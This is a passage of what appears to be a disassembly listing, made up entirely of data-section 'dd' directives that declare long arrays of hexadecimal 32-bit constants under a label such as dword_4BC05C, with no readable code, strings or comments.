		dd 684AE381h, 3130428Fh, 1385848h, 326C908h, 0F6A23B45h
		dd 0A950DE1Ah, 1E70A9D3h
dword_4BC05C	dd 958924D6h, 0FD5E256Bh, 92CC60CFh, 24FD79Eh, 0A56DDB35h
		dd 2665B0EDh, 0B08B52Fh, 40EFBA7h, 0B26B97A4h, 0EC4872h
		dd 13BA3BF7h, 97E1B68Fh, 100E64E1h, 0AF14B995h,	0D07862B2h
		dd 12FF55C2h, 0ED663231h, 591D40E1h, 0AF4AF9EFh, 2F7299EFh
		dd 0E08347DAh, 92F0069Bh, 94123161h, 304A5DCh, 4D04ED83h
		dd 5E02092Dh, 0E4566BB5h, 0ED087824h, 0ED0F2523h, 6568C669h
		dd 1BC01A7Dh, 85C7DF8Bh, 938ABF81h, 0A48D64CCh,	11CE97Eh
		dd 6D67FFF4h, 87B7C42Eh, 0F6C1244Ch, 0DFCE0A8h,	6C52094Bh
		dd 0C171A717h, 76011AA8h, 901DA6B2h, 0B139820Fh, 72B35702h
		dd 0EB5D505Bh, 6E1DF51Ah, 25BB3180h, 97757B1Bh,	907A2578h
		dd 0E6D8D16h, 74FD3C92h, 129A482Eh, 89EDC9F5h, 900BE520h
		dd 7E48EB6Dh, 7CBF0407h, 0AC4981C2h, 0B5291CE4h, 50A785ADh
		dd 0B36FC404h, 0AB2D44F1h, 0CD13EDB8h, 48C46CDCh, 591F6EAAh
		dd 34E45BC7h, 3053956Ah, 2085778h, 16967E34h, 8B84A3E8h
		dd 0C3A352B5h, 99BD247Ch, 0C446A5D5h, 0FFDC8A0Ah, 0B700CFD1h
		dd 5EBF5FDFh, 231425FCh, 5A11A865h, 6AD88A04h, 4438AC02h
		dd 97435BABh, 899DDA4Ah, 0DA9A7D98h, 0E1A10584h, 4F08328Bh
		dd 50A2D4E7h, 2BD3F2E1h, 41F58B38h, 78D3D848h, 703C9002h
		dd 0EA259531h, 646D541Fh, 0CF48250h, 8B3A8E11h,	6A8445A7h
		dd 0CF0E626Eh, 0BCA0F20Eh, 0EBCA7127h, 746FA995h, 9AE2F6BAh
		dd 17CD84BDh, 944B1414h, 9261A923h, 9D7BA6B1h, 0B0D666E8h
		dd 17F3FCBh, 0BB1B1978h, 31556E8Fh, 6AC87B69h, 6D92C4FFh
		dd 0BD2B051Bh, 40853AFh, 0AE1AB102h, 0FD871E9Eh, 0E173D049h
		dd 4D045212h, 18D5B501h, 0F0A240ACh, 6CCB8120h,	60141511h
		dd 0FE0484B0h, 0D05070E6h, 71E45BD2h, 0DE5A8C4h, 0CE128CABh
		dd 0D1F45D3h, 21B1B392h, 29E9B201h, 82A1D97Ah, 585014Ah
		dd 0C1C5A107h, 232BFA8Ah, 7C25D82Ah, 0B22D63DEh, 44F7F688h
		dd 3282682h, 9D09C82Bh,	4D26064Dh, 169A8CD1h, 0E54254DFh
		dd 0D27B985h, 0C9F59D33h, 0C835122Ah, 4E00197Ch, 0C68E1DB3h
		dd 121B4B94h, 0B4F98A9Dh, 43A98644h, 40482BFAh,	0BD038B0Bh
		dd 0E92848DAh, 0E4B51540h, 5760269Dh, 0F2751549h, 923F5E26h
		dd 2A4AB161h, 0CC0118CDh, 0E03B3231h, 22A1A59Dh, 0C2B740FEh
		dd 0FB588B5Eh, 316D400Fh, 7C58512h, 188753B2h, 0A3DEA9CEh
		dd 0BFB349DEh, 0D026204Eh, 1903FBCEh, 8264EA14h, 0C5FC0ACh
		dd 0F7EF0457h, 0AE60849Ah, 8E3BC589h, 5F470523h, 0B8AD9501h
		dd 0E25B6113h, 370C0048h, 0F6D930FBh, 3F7100E2h, 0A3EBEA85h
		dd 4B7C22E6h, 19074F12h, 0FF4A5DB3h, 18C0A0DAh,	0D9260F9Ah
		dd 0AAB9DC0Eh, 0D09B130Dh, 83E8F6C0h, 1804FE80h, 20C2EB6Bh
		dd 154C9CACh, 6F86EE1Dh, 0B1C478CDh, 0F69654A8h, 0C60E04Ah
		dd 0F1173E66h, 9DBD898Bh, 0D22BC560h, 70B5D397h, 0D10F492Dh
		dd 0D2834CF2h, 4D26EB3h, 930FD76h, 7105C452h, 0C6A70114h
		dd 4E175D23h, 40242B5Bh, 0B30E486Bh, 0C74269A1h, 8473DB5Eh
		dd 70335A7h, 0E1668FB6h, 2B913AF3h, 73ED7753h, 0D990A2E8h
		dd 0AE7D1795h, 0E800D4DAh, 0ED4827Ch, 98572E9h,	40B79CAFh
		dd 7000F3E4h, 6819171Eh, 2889E5Dh, 1A97E254h, 425C2175h
		dd 0DEA41DDCh, 129428A8h, 0B29305EBh, 811988B8h, 5C391DBBh
		dd 9662363h, 59EBE780h,	0E1FF89BCh, 0BA2C9702h,	1750BA56h
		dd 0E5B9704h, 282BBCD1h, 53D909B8h, 0F230A3C0h,	9994953Ch
		dd 1439C045h, 0D1F95B8h, 29403FCAh, 0F2BB6076h,	0E0075F14h
		dd 0B79FD958h, 6B5300E4h, 0CB39ED64h, 0C92004B0h, 2C109820h
		dd 9350432h, 0AF5916A9h, 2EDF8100h, 847BCE59h, 866F2A45h
		dd 0D5BC4340h, 54800F62h, 4E305079h, 0EF8E2400h, 4F86E3E4h
		dd 0E91E0F6Ah, 0B51233A2h, 0CE72A80h, 84A42BA0h, 9D641B13h
		dd 4F190A1h, 13C69002h,	0D2635E00h, 53080C02h, 0FA100132h
		dd 0C6C4F872h, 0F9E22FF2h, 96F9BA50h, 2E0511D3h, 0CA173760h
		dd 36B9AFC4h, 0C0029EB8h, 0A2C96B68h, 5F855042h, 0C917578Eh
		dd 82B32E35h, 4CF74102h, 0B7F6496h, 5B3793Eh, 0FFF90221h
		dd 8A742800h, 0F0B4379h, 0E66E0E13h, 5F464D6Bh,	0F84A629Fh
		dd 0CA940243h, 952942BDh, 27F9E292h, 79B3F592h,	2DC00848h
		dd 839FFCD2h, 6D2B2900h, 0A65AF135h, 0E923122Ch, 9B0D56BCh
		dd 3855847Fh, 10887DADh, 0D0718D81h, 0B6609BBDh, 827F00C9h
		dd 0B3493F85h, 99959F86h, 882FFC7Eh, 4A010FC1h,	0A3D43EBh
		dd 0A6309799h, 69ED1D94h, 80C00285h, 91567A15h,	56BEB762h
		dd 4B01558Dh, 0B25388B3h, 40B19220h, 0E1E5890Ah, 831F28D9h
		dd 0D07E2339h, 126140DDh, 65464217h, 0A846C4A5h, 12755C75h
		dd 0B7EAE996h, 0E85272D9h, 62C80F96h, 20A10F34h, 76D73FB3h
		dd 0FD412812h, 0BF230EACh, 13829072h, 0F384965Bh, 2A1FE181h
		dd 6EBB6334h, 20A9003Fh, 785DA01h, 68DE038Bh, 4BFC570Ah
		dd 62D1C09Ch, 41925BE2h, 0E354F51Fh, 2DB767h, 0D5AED6EEh
		dd 8D252932h, 0FD1E886Dh, 2634B060h, 0FD3600A0h, 0DCD4688Ah
		dd 9E4B8EE5h, 8C4AEEB3h, 0FE008BBCh, 50D98A90h,	3CB622BFh
		dd 85D67FDFh, 0CCB58F0h, 0F0AEE32Dh, 26D92049h,	0CC495F98h
		dd 33DB93B5h, 0C5722980h, 9A24A588h, 0FA020E0Ah, 56F961FCh
		dd 315158DCh, 779EBD72h, 0CCA25F12h, 0CB53698Bh, 9AED3D8h
		dd 0FD1B6BE8h, 0C787B698h, 0D9A35400h, 0D857EFB7h, 4780064h
		dd 634140FDh, 0A6EE4B5Fh, 8FA5E94Fh, 4C6E3Bh, 897E64A6h
		dd 83091DBDh, 0A110C4B5h, 193A2BD9h, 0BD1213E5h, 706E4F1Ah
		dd 11380800h, 0A1351DF8h, 4A415B40h, 22F8CE2Eh,	0DC46B6B0h
		dd 2DF8C100h, 425CD0BFh, 8F0F2520h, 0C160DEA5h,	12C4627h
		dd 61022655h, 6E9A3A45h, 80F7F185h, 0D62682E6h,	91F42AB6h
		dd 23D94197h, 799A45ADh, 360131F9h, 0F9E59928h,	0B1C872CAh
		dd 3F0BA83Ch, 320018A8h, 840EEA2h, 41092687h, 595FB689h
		dd 0ECCDADF0h, 0AC28D3C1h, 9AED0C4h, 5F292FAFh,	0BF810659h
		dd 53F3145Ah, 23E86B2Bh, 889D001Ah, 870515EDh, 5EB15D5Ah
		dd 2206E32Ah, 3A909D0Ch, 0F805D0C6h, 0A6FC2B52h, 0C021BAA1h
		dd 0D9F06D36h, 9F2E56AEh, 2600ABDh, 0FC77CB51h,	918200D3h
		dd 0D55C2EECh, 52BECE28h, 0D42174E9h, 9E0269FCh, 8DCB77BBh
		dd 0D6D65654h, 5001B46h, 0E21A027h, 0FC4A1AACh,	0E62ADCDDh
		dd 0F71BA061h, 3C720E76h, 94407D65h, 6EF380E0h,	54E59A95h
		dd 117425BAh, 0E45F00F6h, 60624793h, 0F95F8D31h, 0B966AA01h
		dd 833F82DBh, 128491EAh, 0C73168CDh, 0DBAE162Ah, 21AB840Ch
		dd 5D46B6ACh, 5229E8B0h, 66A7B225h, 705997AEh, 0CDEE7980h
		dd 0D4755Fh, 7826FCABh,	0C0C2CB66h, 0E31E36FAh,	0C6684898h
		dd 257F519Dh, 8103C946h, 46853CE3h, 29A60401h, 0A80999BDh
		dd 3DF9B496h, 8F03E8A9h, 5E902640h, 0AAB674EEh,	0A300F26Ah
		dd 0BB3309D6h, 81283F5Fh, 1520DF71h, 0E0965B1Bh, 0DB76C7C7h
		dd 7FDCF09Ch, 4DAF0E08h, 0E36115E5h, 8160CA79h,	48E68158h
		dd 0CD785BBAh, 618533C1h, 0AE472E1Eh, 0A00A5595h, 75181253h
		dd 0D31EE226h, 0C2A887ADh, 0C7A05D0Bh, 12F4E1D7h, 0A21CAC04h
		dd 0BF962034h, 1A07DC86h, 31B35013h, 0DC9FDE9Bh, 0A8C93Fh
		dd 17730F2Dh, 1CCB8114h, 12E02C16h, 0B2AFB6F8h,	7DC7301Ch
		dd 86CD1F01h, 39321281h, 0E603742Eh, 0D79A00Ch,	68E402E6h
		dd 42B3627Eh, 0CF805490h
		dd 0E6752BF7h, 45802FDAh, 72B2DFB6h, 31702006h,	95B7D5B5h
		dd 5B4AE514h, 0BBEC90B9h, 0CCD2F025h, 0B70F1F01h, 6C64FDDAh
		dd 705B0919h, 0DC7C9C08h, 74727B24h, 8627600Bh,	4B1F017Fh
		dd 56278BFCh, 7286F064h, 0BB1E2DACh, 340A470h, 0F31D1CE9h
		dd 1D5B65FFh, 26D01570h, 5BF9BD1h, 0F5235995h, 0EFE24085h
		dd 189719A6h, 26C78032h, 41D90ECh, 0F250A06Eh, 0CD560017h
		dd 0B131F4D7h, 0DE7F00B5h, 4D6739D1h, 0DB7830ADh, 8C0F9016h
		dd 0FFC98FBCh, 32F3DDDh, 1E08F1F3h, 0AAC03E4Ah,	951601BDh
		dd 58A415A1h, 0C5CDA07h, 501062DCh, 92550E51h, 0F78A0045h
		dd 0BE5097A1h, 5C326028h, 87004439h, 0F47EA222h, 174DC90Eh
		dd 0BC5BFA8Bh, 0C68274A5h, 7ABD016Bh, 8214B1AEh, 6D56C47Ch
		dd 0DD41720Bh, 0F7A3890Eh, 0D38104A0h, 1A37B8F6h, 0EB81CA77h
		dd 50E99AE2h, 33368C6Ah, 6431BD25h, 3E4D9714h, 8F6AD6C0h
		dd 132EB050h, 0BA1CC9B5h, 0D9798B2Dh, 0C74B2FA8h, 6AF97794h
		dd 36000EE8h, 20169E43h, 626A4974h, 1821F808h, 0C1A8D20Eh
		dd 0C4D1FF86h, 6C25F993h, 9D7153A2h, 26200511h,	0DEF702h
		dd 0FF8C3DA5h, 0BEC5603Ch, 82EF1AB7h, 9239D25h,	0FB12285Eh
		dd 602F46B9h, 0D580AAE0h, 0FC61A12Ch, 0DCB75ECBh, 89A1D301h
		dd 25D99D03h, 0C52E900h, 20B91697h, 0A2CD58AEh,	87D2F59h
		dd 0B0B084B8h, 0CE18E525h, 786F9BD5h, 95010667h, 5F5851B1h
		dd 94553716h, 6C97BD16h, 1872AF08h, 24B48020h, 44A04CB5h
		dd 0A4DBB8FCh, 20C0949Ah, 4D9DA96Ah, 2ED23397h,	0C072F894h
		dd 2EF99D2Bh, 0A8C67B97h, 8D92008h, 0BB056A7Dh,	4B455533h
		dd 52FEB184h, 0DDBB4428h, 848EB9C2h, 0B009011Ah, 600C98D7h
		dd 0A75102E6h, 2E43063Dh, 8072F483h, 0E4F970D8h, 0E720715Ah
		dd 0E4D68CDEh, 0A10B74Eh, 0D800E3F6h, 0FB248160h, 1222B2AFh
		dd 0E46FB05Fh, 0D48ADEA8h, 71BDC3F5h, 0B0B112FCh, 9780872Ch
		dd 0DD6A8C32h, 851FA7F4h, 20C05C42h, 0BAC0C341h, 989CA606h
		dd 88C14FCBh, 2008771h,	22C8FB6Fh, 4B2E528Dh, 29C680F5h
		dd 0C994B9BDh, 0BBB5700h, 4B179427h, 0B2CD855Fh, 0F6B6406Ch
		dd 9FB8E405h, 0E7FC96AFh, 2572C24Ah, 2B5BCBA1h,	0F23F65C8h
		dd 0D59D1360h, 0DE99B5A4h, 0EB3E1AACh, 4BBED835h, 65D28925h
		dd 210CA423h, 0CA69BF3Fh, 0E2202B3h, 18D8913h, 97361EE4h
		dd 2ADAEE91h, 0FD4453B3h, 88DB4B18h, 4841FBDh, 6C2EB6D3h
		dd 2279044Fh, 5D65BF20h, 5683DFB0h, 0CCDF9A25h,	0DD9E20B8h
		dd 0AF13C8D6h, 0BD09DEA2h, 0B87530C5h, 55B9FC7Eh, 0DB3BCD81h
		dd 0FE03827Dh, 931D439h, 0D9540FDDh, 67A1744Ch,	8B606926h
		dd 0B4502E62h, 0CAD8C3B3h, 0B2500549h, 13F8EFADh, 5FAAFDBCh
		dd 0ADBBB6D4h, 0BB847h,	6391A30Ch, 4CD21D2Fh, 0E49C4F95h
		dd 2B23601Ah, 70E201AFh, 53522761h, 3F302E5Bh, 4EF18D29h
		dd 81BB700Eh, 0EA1225DFh, 7E374E7h, 1CD0562Eh, 0B25FD28Ah
		dd 8589B1EFh, 8B94B52Ah, 0DC08E10Ch, 8658F445h,	0C90100C9h
		dd 0E6FAF6Eh, 126F9052h, 4E1F5DBh, 0AA04A141h, 863E8538h
		dd 0C64BFE43h, 18952B52h, 2C781CEh, 503410F2h, 0F6EDE1FFh
		dd 5B615DE6h, 97677608h, 0DB2767B4h, 31607871h,	0AE91BD27h
		dd 2D41C595h, 4013562h,	10C35096h, 0CB5F16F1h, 44C1298h
		dd 7537AEBh, 0A3C76CE2h, 7560DC42h, 13FF6B7h, 567C11Dh
		dd 162E76D1h, 0E0BBF61Bh, 2A3D108h, 9F1E6884h, 5FDE5F5h
		dd 8913237Fh, 12B370A4h, 0EEE1800Eh, 70E029E6h,	0D0047202h
		dd 0DCA248F4h, 0F68320FBh, 55006D4Bh, 0C5B660AEh, 25D2CC80h
		dd 49CE5B61h, 6B11BB0Eh, 0A3A6325Ah, 0F5F38101h, 2ED6B3ACh
		dd 7E813534h, 50022BF9h, 110043F1h, 0EC4540E1h,	94E42E82h
		dd 2911AC55h, 0FAE43413h, 255F5F6Eh, 0B5B1FCC5h, 0E48A9C83h
		dd 1016B450h, 7902B0FAh, 23CFEB10h, 579CB358h, 0B9AF4259h
		dd 0BB00DF3Ah, 952C3FC1h, 857AC0C3h, 4FABBD0Fh,	0FC253C59h
		dd 49FE681Bh, 364778D6h, 88C0ADA4h, 5C5D6A0Ch, 80DF4998h
		dd 0FBEFAB85h, 55001348h, 171B7534h, 0BE585B4Ch, 8412DCE0h
		dd 0BC04D4A1h, 45B91735h, 0B837E9D6h, 0F48F0021h, 4DAE1E69h
		dd 0A5F4816Eh, 64C6C912h, 76626DE3h, 0E90205F5h, 0C0244ADFh
		dd 821F9939h, 54A74956h, 0E405F415h, 0E0EB5122h, 3FF2C4CCh
		dd 0DB804207h, 724615F4h, 5B3D376Ch, 0A2D37436h, 0B5C752FFh
		dd 0B027276Eh, 120B8B7Ch, 0E3489FBBh, 833E5C76h, 0D25C51CDh
		dd 697E5C0Ch, 0FC3BDB74h, 15EF8012h, 91FCAA65h,	0F92C2113h
		dd 31C9806Bh, 0CB13084Ch, 1F0FA230h, 0F6E55421h, 698E6026h
		dd 4B5F2D40h, 0BD6D8561h, 178A4C05h, 50C486D0h,	5DB8D8BDh
		dd 67405894h, 9C73D6Eh,	0AA80EF2Ah, 0ED6BD454h,	90A3E0B3h
		dd 9109AD94h, 16AA2345h, 0A2DAA0E2h, 56502762h,	8B89D071h
		dd 499D5CDFh, 0D95F4EC4h, 48757A8Bh, 6014D55Bh,	0C018EFB9h
		dd 15615A13h, 85F849E5h, 58F5B112h, 7FC17D9Bh, 2EB5EB80h
		dd 45B48436h, 0E8A32A08h, 2756562Eh, 7F399010h,	9BD2B207h
		dd 0A2E38428h, 0E682CF99h, 0A10FFB3h, 0E99119C5h, 0D46A5CC9h
		dd 4451DE26h, 835ABC60h, 0E80B00BAh, 0D993365Eh, 0B6173307h
		dd 83AD615Bh, 4D2E33B8h, 0C20208A1h, 5CB52EB7h,	377D5AA6h
		dd 0F6480030h, 0F5AE3683h, 0DC0B2E01h, 1E299D03h, 2DA6CE2Ah
		dd 80ABBD2Ch, 96F7C83h,	0C995F595h, 647B1EB2h, 0EA8BACBCh
		dd 0F4AABBC0h, 66B76A87h, 0CC515AEBh, 0D525B3ACh, 3871C55Fh
		dd 48019EF6h, 937559B1h, 0F60B2B21h, 9D73EE30h,	18083F10h
		dd 2FF44500h, 863B23E4h, 6EB90257h, 3326C5Fh, 35E9215Ch
		dd 234380D1h, 0DD6DA388h, 5F479A95h, 0AB1F4284h, 8D290670h
		dd 4FC59AA5h, 0F3BC5696h, 0E51260Bh, 5FF12300h,	9D38196h
		dd 2DC9071Fh, 1A598553h, 58034818h, 0C4D8B71Ch,	25A41226h
		dd 0C54ED419h, 0B4AAFCE2h, 1DA83AA9h, 8ADD2A68h, 0D27564CCh
		dd 5AAFA359h, 13E36C8h,	733DC2B6h, 0D0E778DDh, 2702168Fh
		dd 35668A3Bh, 0F2F0C33Ch, 0AC5B040Bh, 12ADD0CCh, 0E5DD2AEDh
		dd 0A0B1122Fh, 0BD5A2BA1h, 854AEBA9h, 0B817A98Ah, 5862608Eh
		dd 55EF81FBh, 516D3212h, 0E65F90B3h, 4857E095h,	0D2E8042Fh
		dd 0E00D7C69h, 0BA952DF1h, 70075398h, 7901F64Eh, 3E140D67h
		dd 0A7412B9Eh, 2300138Dh, 939F69BDh, 591012E4h,	9D22B224h
		dd 0DB2C2D8Bh, 3ED8AF5Bh, 510BA825h, 0B4CDA70Dh, 318BA04Fh
		dd 0AE0C3D95h, 41BD713Eh, 0C6203B23h, 14B546Fh,	798BFA5Bh
		dd 2BBECAE2h, 0EBD6F74h, 0FB3FD6A8h, 0D5B48141h, 8F7FECF0h
		dd 473E63Ah, 6978414Dh,	35A279ACh, 19D8B20h, 97F7911Eh
		dd 3A25E0D9h, 4D9FA079h, 424EC6DAh, 0BB708401h,	337919D1h
		dd 0C8B59A2Bh, 6F31C016h, 294A6030h, 0BB9E16ECh, 0F5C46D2Ah
		dd 0A364123Fh, 0D98A1285h, 17B2B7B6h, 25E10A31h, 4B9DA030h
		dd 6281D709h, 51090E6Dh, 0DA25BE8Bh, 38116565h,	38604251h
		dd 4B9A9583h, 59E0ED4Dh, 2FA362D1h, 0CCE1C68Fh,	247C0725h
		dd 0FD8A25F8h, 5BA54267h, 145F52C4h, 0F6B4A30Fh, 90E9255Dh
		dd 81A08D50h, 8B800855h, 956050C1h, 8A044921h, 4A34B4C0h
		dd 8E02D402h, 815C9ADFh, 2B35D561h, 11801A91h, 567683B6h
		dd 807A7704h, 0D5EE8AD7h, 7721EC6Fh, 1A78B893h,	21870099h
		dd 3DDBA52Bh, 4AC42CD2h, 7AEFF98Bh, 8C231B79h, 767F1F6h
		dd 8F6F2Ah, 4E7E9C50h
		dd 12E2644Ah, 0B1C1A087h, 0C2E15B5Ch, 7660F550h, 74BB40F5h
		dd 0FD1FCEFAh, 66403E52h, 0BF7229B8h, 38279806h, 0E2CF6119h
		dd 0AAFA7436h, 0CDB79679h, 14B4C1A7h, 0B122FC07h, 46DBAEAAh
		dd 0B0F18278h, 30C1974Dh, 6A2D2B30h, 48C0500Fh,	56BB54DFh
		dd 3E09E273h, 5B612F88h, 0D672A473h, 0C66E2E12h, 68E89330h
		dd 6AA11D42h, 0E3B90410h, 86FACC5h, 7919FD8Dh, 0ECEA39A2h
		dd 0EF27013Ah, 6AA67907h, 7D9B3E02h, 5CDD6F83h,	0AC3727A8h
		dd 20D60158h, 56502E1Ch, 24040960h, 1FE37F7h, 0B88BDB6Bh
		dd 13C0686Ch, 9AB6B761h, 623018B2h, 2B8A02FEh, 6DBD29D4h
		dd 85895EFEh, 64A0590Fh, 0F9D9844Eh, 2677BC3Eh,	304C2D96h
		dd 8E92C0C2h, 6FDB665Bh, 0BF56B984h, 5B26C209h,	96019DC1h
		dd 90344949h, 0EA009751h, 43CBEDCEh, 44C802DDh,	506DE6E4h
		dd 8D417ED4h, 52F48E6Bh, 2499739Fh, 5F0C1C2h, 81905BFEh
		dd 50B19C3h, 2C163B84h,	230360BFh, 254A81D9h, 5730C4D9h
		dd 0FC194179h, 231263D7h, 0B0B320D3h, 0C063DB4Fh, 0EB8D055Bh
		dd 0A75202DCh, 24319D01h, 60E0C956h, 0B5118D09h, 0FC6A21A7h
		dd 17B8DADCh, 0CF254D2Fh, 0F2C244ADh, 290C1D65h, 104E2480h
		dd 1F1AC1E6h, 12CFBAFFh, 22F3B6A7h, 82D99502h, 3D9D2B85h
		dd 80B024D3h, 649E781h,	0E640F79Eh, 0FA0BB270h,	848971E4h
		dd 32AB08E4h, 4728D988h, 53C2A480h, 1C1DEB0Ch, 0C251E7B6h
		dd 21C14FC3h, 1F01F666h, 0B5465E38h, 12B91EEh, 0FFBB66F3h
		dd 0E3212B41h, 0F0644DB7h, 51952A01h, 35B90299h, 61663E6Ah
		dd 0E4762FF7h, 0AB352175h, 8DFDBBD9h, 0BB519979h, 752BEF98h
		dd 8B2D3A44h, 9FE870D1h, 3B2CFFC1h, 290424E6h, 0B514758Dh
		dd 32D06FDBh, 25D8D0BFh, 0DB6221F2h, 0FEFE44F8h, 7E0410D7h
		dd 0DDAC04E1h, 2FA212C8h, 0A3D78203h, 0DBAD8EB2h, 8317512Fh
		dd 4119B33Ah, 3F26D9C0h, 8B18E9D8h, 1580A5CAh, 0F98589FEh
		dd 0F839ADEBh, 9345958Ah, 0FD84041Ah, 2286D2B7h, 0AE3CC727h
		dd 448F42CEh, 0DA4AE787h, 7C10FECDh, 36DCDE4h, 0B9D3C657h
		dd 0ED84079Ah, 25AABC2Dh, 1C27E6Dh, 0F4826835h,	5EFCF5C8h
		dd 0C62CDCE1h, 0A6049ACEh, 2683C02Bh, 4DD2AADEh, 0B890E4F0h
		dd 6680F401h, 4896D494h, 7D3A2F26h, 0E874F94Bh,	32B9798h
		dd 0A406377Dh, 0C623008Ah, 95C29E97h, 25B58909h, 8D41EE24h
		dd 0AB156450h, 1923436Bh, 0E67E023Eh, 0D10EBE97h, 6E76008Bh
		dd 9652051Eh, 27F7D200h, 1164CF02h, 0C0C1250Ch,	60666CC5h
		dd 239520EEh, 0CD61FC2Dh, 64DCC0C0h, 34004D4Ch,	278B586Dh
		dd 25BF66D6h, 62C5ADF7h, 76E97516h, 8A2D09ECh, 0A52ED9DAh
		dd 87908364h, 0CC38EC25h, 4BF30581h, 0F2470BDBh, 0CEDA00B9h
		dd 0FF8D0C9Dh, 78DFBBE1h, 0B6067732h, 0E521F919h, 0E7F32A7Ch
		dd 822A0432h, 0B8AC91C2h, 4853A399h, 0B0043027h, 0B818F310h
		dd 0D4C7A477h, 0DEB97C09h, 65667A00h, 0F463688Fh, 82C0981Dh
		dd 5849F49Ah, 9786EF86h, 730001B5h, 0DE9829FEh,	8B9F0474h
		dd 0B5880FACh, 50C83E33h, 5B470B62h, 22DE83A6h,	284B1380h
		dd 3D931CD4h, 884BFB5Fh, 0EA032B3Dh, 334CADD1h,	130FABBDh
		dd 6F605BB0h, 0DD8F0272h, 0D9FB89BCh, 4EE50157h, 612EDC87h
		dd 0D9E8FFB9h, 0EB04093Eh, 75EAA7F8h, 0A0874CB8h, 3F69A00Dh
		dd 0DD25A6CDh, 0B7ECC25Fh, 39B580ECh, 7F84B43h,	51DD0B97h
		dd 0CECF0016h, 0E4B3E738h, 88E670Bh, 0B2B25715h, 3489BE56h
		dd 0F4807401h, 22CB8600h, 0D12C9C3Eh, 93DA257Fh, 1AA03466h
		dd 4EB517A9h, 0B5012F92h, 0B75068E8h, 56173E4Bh, 82618D20h
		dd 70ECB087h, 48EA73D8h, 0D2C00481h, 1965609Ch,	0A62CE00h
		dd 7775E848h, 0C4930153h, 5F1388F3h, 0ABDB6A6Ah, 4FDD08C0h
		dd 0D413123Bh, 1788601Eh, 13C5381Fh, 2BA79F01h,	44991A33h
		dd 9CC0BEBFh, 4C26CBF7h, 723E5F9Ch, 8D68130h, 635BF838h
		dd 0D813866Eh, 9843077Ch, 0A86E5431h, 6A60CCC6h, 0B2675AA3h
		dd 5C9F1DEDh, 0D446CF80h, 2ED3F0A2h, 0F2B9CBh, 0A9E54939h
		dd 0F50298E6h, 5FC6BF0Fh, 69A95C61h, 0A38F8BDDh, 85027A99h
		dd 996FBFh, 0DEB0889Ah,	12D7CC9Ch, 0E6EC6F7Dh, 3016B2C8h
		dd 2A5878DAh, 97910FEh,	0C40EAC4Ah, 0BAB841B7h,	0B02DA74Bh
		dd 0FE1B6449h, 0D7512576h, 0CFDDBBCAh, 38434132h, 2B2BC982h
		dd 84C043C2h, 0A1D24584h, 5A3A5761h, 8C504F7Bh,	0B11101A3h
		dd 0B9487115h, 7A89E509h, 361D216Fh, 608202F9h,	0A4974CBh
		dd 0BD8B0004h, 0A71C4B31h, 0B034461Bh, 1B8331h,	0ABBA2315h
		dd 0FDE7EB81h, 8C9769F0h, 40416E2Eh, 0C49F9616h, 90C89577h
		dd 2100720Dh, 0F2D6DA28h, 553200Bh, 0A9B049EAh,	422821Bh
		dd 0B805942Ah, 52B05B2Ah, 0DB965AF9h, 1FF6809Dh, 7D0A48CCh
		dd 0B2C532A6h, 712905A6h, 78F8AB52h, 109DB8E8h,	0D9EC35h
		dd 0CDBC012Ah, 679BDFD5h, 0D45A8F00h, 30687A86h, 3EA2137Bh
		dd 0EF8F3057h, 9D000C0Dh, 0E1BEC0F2h, 1854ECF7h, 0A46D6176h
		dd 0C8953E39h, 7878CFE4h, 858D25BDh, 0F30F9E65h, 0B35D40B1h
		dd 0C36FDAh, 0EC1869D6h, 0B222F7E7h, 874DBB02h,	0F7907765h
		dd 391C0527h, 3FFE6AD8h, 90F9C941h, 0A9F0C526h,	0D90B2A41h
		dd 5EF620C8h, 1C46D615h, 7B9DEE4Bh, 2B480673h, 81FC910h
		dd 800EE861h, 0EF5E332Fh, 0F10009F4h, 84D245C6h, 1218DC39h
		dd 0B0D59529h, 96975F3Ah, 0ACB7253Ah, 552761C5h, 63D32262h
		dd 2D103E70h, 1F5E01F6h, 0B5204866h, 0E578AB5Bh, 0A66BE51Fh
		dd 0E0602F98h, 9517B924h, 0B474C7C7h, 409DDCCAh, 48753809h
		dd 61170447h, 0A0F5E717h, 92F03A4h, 0AC87DE3Dh,	0BDB630D7h
		dd 0E32A4AEDh, 0FCCB88EDh, 0F1F9C912h, 0C4A0362Ch, 0A9E8B357h
		dd 0CFDAD2D6h, 19F9E787h, 35AD9C7Bh, 0FAD200AAh, 7A59D89h
		dd 0F50C1083h, 0EBA24A16h, 0CD74D6A8h, 67512600h, 0E6481895h
		dd 158B5C0Fh, 0AE5B5284h, 0BCE6E974h, 8C5A97A0h, 6EBF5101h
		dd 5B2C8782h, 45F2E56Ah, 754CEC9Fh, 0A40DB801h,	0AEB553F7h
		dd 0E53257F2h, 0A639D6Dh, 5430A886h, 0A8FE4E2Ah, 0BFCB1F79h
		dd 7EA861D2h, 7B8B00AAh, 0FC0ADE76h, 0D5440097h, 9AB466BFh
		dd 61906068h, 0DE504AB7h, 9F2469CEh, 21F5521Ch,	277A7A7Ah
		dd 0B71D4C85h, 13BB864h, 9D6AC58Dh, 756A7EB7h, 3880ED04h
		dd 4B25E9D9h, 82009A7Ah, 0FDAAA401h, 922FCB96h,	0B5844860h
		dd 65059719h, 4F0CA761h, 0A304D66Ah, 0E98B58F1h, 48A35E6Ah
		dd 0CFB41600h, 0A8A756E6h, 9FAD2201h, 9B0CE30Ah, 0B678123Ah
		dd 0E0E2E34Fh, 1EA5856h, 0D8C1B440h, 35599501h,	7C742F01h
		dd 0B3ACFEA9h, 32FB2900h, 0D29D2C68h, 78359DCCh, 4F891491h
		dd 0FDDF8D01h, 869E2A32h, 3DE43181h, 0E2AD2635h, 7FDA3114h
		dd 0FC300609h, 92B55AF9h, 0BB500E80h, 4D9BBE32h, 0DB5B2905h
		dd 452580F0h, 48AD2E7Fh, 0D13CE553h, 0B8BEF2CAh, 0C109BD54h
		dd 2523C879h, 27925070h, 0B745119Ah, 81FD7C12h,	0DE092CF8h
		dd 5E366E0h, 7DF281DAh,	2A998508h, 4FB25316h, 768FD300h
		dd 0ED998FAh, 5FE11402h, 79515061h, 0FAB100C3h,	0F93FF519h
		dd 0A507DF71h, 0DE7DD447h, 1A94C740h, 97BDB55Fh, 0CEB00992h
		dd 0D358E7B8h, 303AFDB7h, 0B3FB8BD1h, 4F128252h, 0C72E378Dh
		dd 0B4D3D9F5h, 0C1DFFEA5h, 3A48DEBFh, 0B447BC28h, 0B6E2E0D3h
		dd 0B700B45Eh, 0DC31B9E0h, 1C306410h, 0C9BC2688h, 0CED3C732h
		dd 51457BA7h, 5F6AD0BDh
		dd 37ADDED6h, 291D207Ah, 97CB9E97h, 91004435h, 87BCB3BFh
